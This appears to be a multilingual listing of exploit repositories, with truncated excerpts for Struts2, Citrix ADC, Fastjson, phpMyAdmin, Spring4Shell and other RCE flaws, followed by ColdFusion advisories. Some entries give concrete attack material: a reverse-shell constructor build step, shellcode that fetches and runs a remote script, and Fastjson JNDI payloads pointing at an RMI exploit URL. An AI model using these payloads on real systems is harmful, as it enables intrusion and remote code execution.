CVE-2020-17533

최근 Apache Struts2 원격 코드 실행 취약점CVE 번호: CVE-2020-17530이 발견되었습니다. Apache Struts2 프레임워크는 Java EE 웹 애플리케이션 개발을 위한 웹 프레임워크로, 적용 범위가 넓어 위협 영향 범위가 큽니다. 2. 취약점 설명 개발자가 %… 구문을 사용하는 경우, 공격자는 악의적인 OGNL 표현식을 구성하여 OGNL 표현식의 2차 파싱을 유발, 원격 코드 실행을 초래할 수 있습니다. 3. 영향 범위 • Apache Struts 2.0.0 - 2.5.25 4. 해결 방안...

CVE-2018-6574

CVE-2018-6574 再現手順: 1. 悪意のあるコマンド（リバースシェル）を含む .c ファイルを作成します: root@kitploit: include include static void malicious attributeconstructor; void malicious system""; 2. GCC でコンパイルします。ターゲットと同じアーキテクチャと OS（例: Linux x8664）でコンパイルする必要があります: root@kitploit: gcc -shared -o attack.so -fPIC attack.c 3. Go...

Apache-Flink-Dashboard-rec

Apache-Flink-Web-Dashboard-RCE Apache Flink Web Dashboard のリモートコード実行（RCE）...

CVE-2023-3519

Citrix ADC RCE CVE-2023-3519 该漏洞利用针对 Citrix VPX 13.1-48.47 的地址和 shellcode。完整文章请点击此处。 使用 需要 NASM 来构建 shellcode。 root@kitploit: $ sudo apt install nasm 附带的 shellcode 会从远程 https 服务器下载并运行一个 shell 脚本。该脚本接受3个参数：目标主机、目标端口和 shell 脚本 payload 的 URL。本仓库中包含一个示例 payload，它在清理自身之前执行 id 和 uname -a。 root@kitploit...

discuz-ml-rce

discuz-ml-rce 影響を受けるシステムとバージョン：Discuz!ML V3.2-3.4 Discuz!x V3.2-3.4 脆弱性の原因：Discuz!ML システムはcookie内のlで受け取ったlanguageパラメータの内容をフィルタリングしないため、文字列が連結され、PHPコードが実行されます。 cookieフィールド内にxxxxxxxxlanguageフィールドが現れます。根本原因はこのフィールドにインジェクションが存在し、RCEを引き起こすことです。 パケットキャプチャでcookieのlanguageの値を見つけ、次の値に変更します...

CVE-2024-6387-POC

OpenSSH CVE-2024-6387 脆弱性の悪用 🚀 OpenSSH CVE-2024-6387 のリモートコード実行 RCE 脆弱性を悪用するために設計された Python スクリプト。この脆弱性はハンドラの競合状態に関連し、任意のコード実行につながる可能性があり、攻撃者が root アクセスを取得することを可能にします。これは概念実証であり、教育目的のみを対象としています。 概要 📖 OpenSSH の CVE-2024-6387 は深刻な脆弱性です。これは、root 権限で任意のコードを実行するために悪用される可能性のあるハンドラの競合状態に関連しています。 特徴 🌟...

CVE-2024-31835

CVE-2024-31835 flatpress CMS Flatpress v1.3 には、リモート攻撃者がファイル名パラメータに巧妙に細工したペイロードを注入することで任意のコードを実行できるクロスサイトスクリプティングの脆弱性があります。 影響を受けるコンポーネント: FlatPress CMS 管理パネルのファイルアップロードフィールド 修正版: Flatpress v1.3 - FlatPress バージョン1.3で修正される予定です。 攻撃タイプ: リモート 攻撃ベクトル: 画像ファイル名を細工することで脆弱性を悪用します。 再現手順:...

code-wsl-rce

VS Code Remote WSL 원격 코드 실행을 위한 개념 증명 - CVE-2021-43907 블로그 보기: https://parsiya.net/blog/2021-12-20-rce-in-visual-studio-codes-remote-wsl-for-fun-and-negative-profit. 또한 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43907. 빌드 방법 1. npm install. 2. 아키텍처에 맞는 vsda.node를...

Fastjson-1.2.47-rce

Fastjson-1.2.47-rce version1.2.51 リモートコード実行 1.2.24 "b":"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true ​ 未知のバージョン1.2.24〜41の間 "@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true ​ 1.2.4...

pocs

minervais.com.phpMyAdminRCE.sh phpMyAdmin の '/scripts/setup.php' に対する PHP コードインジェクション RCE の POC。これは CVE-2009-1151 用として最初に公開されたエクスプロイトです。 構文 root@kitploit: $ ./phpMyAdminRCE.sh usage: ./phpMyAdminRCE.sh i.e.: ./phpMyAdminRCE.sh http://target.tld/phpMyAdmin/ デモ root@kitploit: $ ./phpMyAdminRCE.sh...

thinkphp5.0.1-automatic-getshell

thinkphp5.0.1-automatic-getshell thinkphp5.0.1自動getshellスクリプト thinkphp5.0.1を使用する際に遭遇するいくつかの小さな問題を解決し、ツールを自作することで手動での再現の手間を省きました。...

CVE-2024-21534

CVE-2024-21534: jsonpath-plus =10.0.7에서의 원격 코드 실행 취약점 요약 이 저장소는 jsonpath-plus 패키지의 버전 10.0.7 이전에 영향을 미치는 치명적인 원격 코드 실행RCE 취약점에 대한 개념 증명PoC 익스플로잇을 포함하고 있습니다. 이 문제는 부적절한 입력 검증으로 인해 발생하며, 공격자가 Node의 VM 모듈에서 안전하지 않은 기본값을 활용하여 임의 코드를 실행할 수 있도록 합니다. 이 취약점은 2024-10-11에 공개되었으며 CVSS 점수 는 9.8치명적입니다. 참고: 버전...

CVE-2024-43363

CVE-2024-43363 CVE-2024-43363 エクスプロイトスクリプト このPythonスクリプトは、CactiインスタンスがCVE-2024-43363（ログポイズニングによって引き起こされるリモートコード実行（RCE）の脆弱性）に対して脆弱かどうかをテストするために設計されています。 脆弱性の仕組み: root@kitploit: ログポイズニング: 攻撃者はデバイス名にPHPコードを注入します。このコードは、Cactiによって適切なサニタイズなしにログに記録されます。 実行: Web...

CVE-2022-22965

spring4shell ⭐ CVE-2022-22965 の Python 実装で、SSH セッション風のプロンプトをユーザーに提供します。 このスクリプトは、読みやすさとアクセシビリティの両方を考慮し、ユーザーの選択に応じて、理解しやすく実行しやすいように設計されています。Tomcat サーバー上の脆弱性を悪用するために設計されています。サーバー上の fileDateFormat フィールドは、スクリプトの一部として設定および解除されるため、エクスプロイトを複数回実行できます。クリーンアップが必要な場合があります。 エクスプロイト - CVE-2022-22965 ❗ 対象となる脆弱...

CVE-2026-75746

Adobe ColdFusion is affected by a SQL injection (CWE-89) vulnerability caused by improper neutralization of special elements used in an SQL command. A successful exploit allows an attacker to execute arbitrary code in the context of the current user. The vulnerability requires high privileges but...

EUVD-2026-74072

ColdFusion is affected by an Improper Neutralization of Special Elements used in an SQL Command 'SQL Injection' vulnerability that could result in arbitrary code execution in the context of the current user. An attacker with high privileges could exploit this vulnerability to execute arbitrary...

CVE-2026-75746 ColdFusion | Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (CWE-89)

ColdFusion is affected by an Improper Neutralization of Special Elements used in an SQL Command 'SQL Injection' vulnerability that could result in arbitrary code execution in the context of the current user. An attacker with high privileges could exploit this vulnerability to execute arbitrary...

CVE-2026-76190

Adobe ColdFusion is affected by an Eval Injection vulnerability (CWE-95), where improper neutralization of directives in dynamically evaluated code could lead to arbitrary code execution in the context of the current user. The vulnerability is exploitable over the network with low complexity and ...

CVE-2026-48273

Adobe ColdFusion is affected by an eval injection vulnerability (CWE-95) that allows a low-privileged network attacker to achieve arbitrary code execution in the context of the current user, with no user interaction required. The vulnerability carries a CVSS 9.9 (Critical) rating with a changed s...

EUVD-2026-74068

ColdFusion is affected by an Improper Neutralization of Directives in Dynamically Evaluated Code 'Eval Injection' vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of...